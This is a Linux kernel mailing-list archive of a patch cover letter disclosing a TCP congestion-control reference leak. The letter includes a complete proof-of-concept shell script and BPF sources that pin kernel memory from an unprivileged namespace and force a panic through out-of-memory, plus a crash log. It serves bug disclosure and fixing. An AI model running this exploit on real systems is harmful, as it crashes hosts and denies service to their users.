From: Zhiling Zou <zhilinz@nebusec.ai>
To: netdev@vger.kernel.org, bpf@vger.kernel.org
Cc: edumazet@kernel.org, ncardwell@google.com, kuniyu@google.com,
davem@davemloft.net, pabeni@redhat.com, horms@kernel.org,
jonathon.reinhart@gmail.com, vega@nebusec.ai, zhilinz@nebusec.ai
Subject: [PATCH net 0/1] tcp: release congestion control reference on rejection
Date: Thu, 22 Oct 2026 02:57:00 +0800 [thread overview]
Message-ID: <cover.1792607608.git.zhilinz@nebusec.ai> (raw)
Hi Linux kernel maintainers,
We found and validated an issue in net/ipv4/tcp_cong.c. After a
restricted BPF struct_ops TCP congestion-control algorithm has been
loaded, a non-root user can trigger the reference leak through user and
network namespaces. Loading the algorithm requires a privileged setup
in the initial network namespace.
This bug is tracked at: https://bugtracker.nebusec.ai/f/11756
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
tcp_set_default_congestion_control() calls bpf_try_module_get() before
checking whether a non-init network namespace may select a restricted
congestion-control algorithm. When the check fails, the function returns
-EPERM without dropping the acquired reference.
For BPF struct_ops algorithms, this keeps the struct_ops map and its
programs alive. For module-backed algorithms, it leaks the module
reference. Repeated rejected writes can therefore pin kernel resources.
The fix releases the acquired reference on the existing -EPERM path.
Reproducer:
./poc.sh oom
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
The script uses the supplied leak_ca_oom.bpf.o object.
------BEGIN poc.sh------
#!/bin/sh
set -eu
POC_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
SMALL_OBJ="$POC_DIR/leak_ca.bpf.o"
OOM_OBJ="$POC_DIR/leak_ca_oom.bpf.o"
BPFFS_ROOT=/sys/fs/bpf/tcp_cc_leak_poc
TEST_USER=${TEST_USER:-test_user}
LEAK_ITERATIONS=${LEAK_ITERATIONS:-6}
OOM_CHUNKS=${OOM_CHUNKS:-16}
need_root() {
if [ "$(id -u)" -ne 0 ]; then
echo "run as root" >&2
exit 1
fi
}
need_file() {
if [ ! -f "$1" ]; then
echo "missing required file: $1" >&2
exit 1
fi
}
run_userns_trigger() {
if id "$TEST_USER" >/dev/null 2>&1; then
su -s /bin/sh "$TEST_USER" -c 'unshare -Urn python3 - <<'"'"'PY'"'"'
import os
path = "/proc/sys/net/ipv4/tcp_congestion_control"
fd = os.open(path, os.O_WRONLY)
try:
os.write(fd, b"leakca\n")
print("write unexpectedly succeeded")
except OSError as e:
print(f"write failed as expected: errno={e.errno} strerror={e.strerror}")
finally:
os.close(fd)
PY' || true
else
unshare -n python3 - <<'PY' || true
import os
path = "/proc/sys/net/ipv4/tcp_congestion_control"
fd = os.open(path, os.O_WRONLY)
try:
os.write(fd, b"leakca\n")
print("write unexpectedly succeeded")
except OSError as e:
print(f"write failed as expected: errno={e.errno} strerror={e.strerror}")
finally:
os.close(fd)
PY
fi
}
leak_once() {
obj=$1
dir=$2
rm -rf "$dir"
mkdir -p "$dir"
bpftool struct_ops register "$obj" "$dir"
run_userns_trigger
bpftool link detach pinned "$dir/leakca"
}
observe_mode() {
need_file "$SMALL_OBJ"
rm -rf "$BPFFS_ROOT"
mkdir -p "$BPFFS_ROOT"
leak_once "$SMALL_OBJ" "$BPFFS_ROOT/observe"
echo
echo "struct_ops entries after detach:"
bpftool struct_ops show | grep leakca || true
echo
echo "maps still alive after detach:"
bpftool map show | grep -E 'name leakca|name leak_payload' || true
}
oom_mode() {
i=1
need_file "$OOM_OBJ"
rm -rf "$BPFFS_ROOT"
mkdir -p "$BPFFS_ROOT"
echo 2 > /proc/sys/vm/panic_on_oom
ulimit -l unlimited || true
while [ "$i" -le "$LEAK_ITERATIONS" ]; do
echo "[*] leak iteration $i/$LEAK_ITERATIONS"
leak_once "$OOM_OBJ" "$BPFFS_ROOT/oom-$i"
free -m | sed -n '1,2p'
i=$((i + 1))
done
echo
echo "[*] allocating $((OOM_CHUNKS * 64)) MB in userspace to trip OOM after the leaked kernel memory has accumulated"
python3 - <<PY
chunks = []
chunk = 64 * 1024 * 1024
for i in range($OOM_CHUNKS):
chunks.append(bytearray(chunk))
print(f"allocated {(i + 1) * 64} MB", flush=True)
print("allocation completed unexpectedly")
PY
}
usage() {
cat <<'EOF'
usage: ./poc.sh [observe|oom]
observe:
single leak iteration using leak_ca.bpf.o, no crash expected
oom:
six leak iterations using leak_ca_oom.bpf.o, then a bounded 1 GB
userspace allocation that should panic the kernel because the leaked
BPF objects have already consumed most memory
EOF
}
need_root
case "${1:-observe}" in
observe)
observe_mode
;;
oom)
oom_mode
;;
*)
usage >&2
exit 1
;;
esac
------END poc.sh------
------BEGIN leak_ca.bpf.c------
// SPDX-License-Identifier: GPL-2.0
#include <vmlinux.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include "bpf_tracing_net.h"
char _license[] SEC("license") = "GPL";
SEC("struct_ops")
void BPF_PROG(leakca_cong_control, struct sock *sk,
const struct rate_sample *rs)
{
}
SEC("struct_ops")
__u32 BPF_PROG(leakca_ssthresh, struct sock *sk)
{
return tcp_sk(sk)->snd_ssthresh;
}
SEC("struct_ops")
__u32 BPF_PROG(leakca_undo_cwnd, struct sock *sk)
{
return tcp_sk(sk)->snd_cwnd;
}
SEC(".struct_ops.link")
struct tcp_congestion_ops leakca = {
.cong_control = (void *)leakca_cong_control,
.ssthresh = (void *)leakca_ssthresh,
.undo_cwnd = (void *)leakca_undo_cwnd,
.name = "leakca",
};
------END leak_ca.bpf.c------
------BEGIN leak_ca_oom.bpf.c------
// SPDX-License-Identifier: GPL-2.0
#include <vmlinux.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include "bpf_tracing_net.h"
struct leak_blob {
char bytes[4096];
};
struct {
__uint(type, BPF_MAP_TYPE_ARRAY);
__uint(max_entries, 65536);
__type(key, __u32);
__type(value, struct leak_blob);
} leak_payload SEC(".maps");
char _license[] SEC("license") = "GPL";
SEC("struct_ops")
void BPF_PROG(leakca_oom_cong_control, struct sock *sk,
const struct rate_sample *rs)
{
__u32 key = 0;
struct leak_blob *blob;
blob = bpf_map_lookup_elem(&leak_payload, &key);
if (blob)
blob->bytes[0] = 1;
}
SEC("struct_ops")
__u32 BPF_PROG(leakca_oom_ssthresh, struct sock *sk)
{
return tcp_sk(sk)->snd_ssthresh;
}
SEC("struct_ops")
__u32 BPF_PROG(leakca_oom_undo_cwnd, struct sock *sk)
{
return tcp_sk(sk)->snd_cwnd;
}
SEC(".struct_ops.link")
struct tcp_congestion_ops leakca = {
.cong_control = (void *)leakca_oom_cong_control,
.ssthresh = (void *)leakca_oom_ssthresh,
.undo_cwnd = (void *)leakca_oom_undo_cwnd,
.name = "leakca",
};
------END leak_ca_oom.bpf.c------
----BEGIN crash log----
[ 312.334207][T10658] Kernel panic - not syncing: Out of memory: compulsory panic_on_oom is enabled
[ 312.334939][T10658] CPU: 3 UID: 0 PID: 10658 Comm: python3 Not tainted 6.12.95 #2
[ 312.335458][T10658] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 312.336280][T10658] Call Trace:
[ 312.336511][T10658] <TASK>
[ 312.336731][T10658] panic+0x533/0x610
[ 312.337014][T10658] ? dump_header+0x5d2/0x800
[ 312.337342][T10658] ? __pfx_panic+0x10/0x10
[ 312.337698][T10658] out_of_memory+0x73c/0x1430
[ 312.338032][T10658] ? __alloc_pages_noprof+0xd53/0x26d0
[ 312.338420][T10658] ? __pfx_out_of_memory+0x10/0x10
[ 312.338780][T10658] ? lock_acquire+0x2f/0xb0
[ 312.339092][T10658] ? __alloc_pages_noprof+0xd53/0x26d0
[ 312.339480][T10658] __alloc_pages_noprof+0x1ecc/0x26d0
[ 312.339889][T10658] ? __pfx___alloc_pages_noprof+0x10/0x10
[ 312.340283][T10658] ? hlock_class+0x4e/0x130
[ 312.340599][T10658] ? mark_lock+0xb5/0xc60
[ 312.340895][T10658] ? srso_alias_return_thunk+0x5/0xfbef5
[ 312.341313][T10658] ? __pfx_mark_lock+0x10/0x10
[ 312.341655][T10658] ? srso_alias_return_thunk+0x5/0xfbef5
[ 312.342038][T10658] ? rcu_is_watching+0x12/0xc0
[ 312.342376][T10658] alloc_pages_mpol_noprof+0x1ab/0x4d0
[ 312.342759][T10658] ? __pfx_alloc_pages_mpol_noprof+0x10/0x10
[ 312.343172][T10658] ? srso_alias_return_thunk+0x5/0xfbef5
[ 312.343572][T10658] ? srso_alias_return_thunk+0x5/0xfbef5
[ 312.343959][T10658] folio_alloc_mpol_noprof+0x16/0x90
[ 312.344321][T10658] vma_alloc_folio_noprof+0xc4/0x170
[ 312.344704][T10658] ? __pfx_vma_alloc_folio_noprof+0x10/0x10
[ 312.345107][T10658] ? find_held_lock+0x2d/0x110
[ 312.345441][T10658] ? srso_alias_return_thunk+0x5/0xfbef5
[ 312.345839][T10658] do_pte_missing+0x825/0x3710
[ 312.346189][T10658] __handle_mm_fault+0xac8/0x1db0
[ 312.346545][T10658] ? __pfx_lock_release+0x10/0x10
[ 312.346891][T10658] ? down_read_trylock+0x1f0/0x3f0
[ 312.347240][T10658] ? lock_vma_under_rcu+0x121/0x720
[ 312.347601][T10658] ? __pfx___handle_mm_fault+0x10/0x10
[ 312.348002][T10658] ? srso_alias_return_thunk+0x5/0xfbef5
[ 312.348403][T10658] handle_mm_fault+0x2ad/0x910
[ 312.348822][T10658] do_user_addr_fault+0x301/0xe10
[ 312.349186][T10658] exc_page_fault+0x5d/0xe0
[ 312.349500][T10658] asm_exc_page_fault+0x26/0x30
[ 312.349840][T10658] RIP: 0033:0x7f38e70d3340
[ 312.350147][T10658] Code: 48 81 fa 00 01 00 00 76 c8 48 8d 8c 17 00 fe ff ff 62 e1 fe 48 7f 40 02 62 e1 fe 48 7f 40 03 48 39 f9 76 2e 48 83 e7 c0 66 90 <62> e1 fd 48 7f 47 04 62 e1 fd 48 7f 47 05 62 e1 fd 48 7f 47 06 62
[ 312.351441][T10658] RSP: 002b:00007fff03373848 EFLAGS: 00010287
[ 312.351863][T10658] RAX: 00007f38c2995010 RBX: 0000000004000000 RCX: 00007f38c6994e10
[ 312.352395][T10658] RDX: 0000000004000000 RSI: 0000000000000000 RDI: 00007f38c48fdf00
[ 312.352947][T10658] RBP: 00007f38e69cc268 R08: 00000000ffffffff R09: 0000000000000000
[ 312.353473][T10658] R10: 0000000000000022 R11: 0000000000000246 R12: 00007f38e6a2bab0
[ 312.354004][T10658] R13: 0000000000a02820 R14: 0000000000000000 R15: 00007f38e69f8ab0
[ 312.354585][T10658] </TASK>
[ 312.355010][T10658] Kernel Offset: disabled
[ 312.355354][T10658] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Zhiling Zou
Zhiling Zou (1):
tcp: release congestion control reference on rejection
net/ipv4/tcp_cong.c | 1 +
1 file changed, 1 insertion(+)
next reply other threads:[~2026-10-21 18:57 UTC|newest]
Thread overview: 5+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-10-21 18:57 Zhiling Zou [this message]
2026-10-21 18:57 ` [PATCH net 1/1] tcp: release congestion control reference on rejection Zhiling Zou
2026-10-22 3:53 ` Eric Dumazet
2026-10-21 19:02 ` [PATCH net 0/1] " netdev-bot+sinfo
2026-10-21 19:09 ` zhilin zou
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=cover.1792607608.git.zhilinz@nebusec.ai \
--to=zhilinz@nebusec.ai \
--cc=bpf@vger.kernel.org \
--cc=davem@davemloft.net \
--cc=edumazet@kernel.org \
--cc=horms@kernel.org \
--cc=jonathon.reinhart@gmail.com \
--cc=kuniyu@google.com \
--cc=ncardwell@google.com \
--cc=netdev@vger.kernel.org \
--cc=pabeni@redhat.com \
--cc=vega@nebusec.ai \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox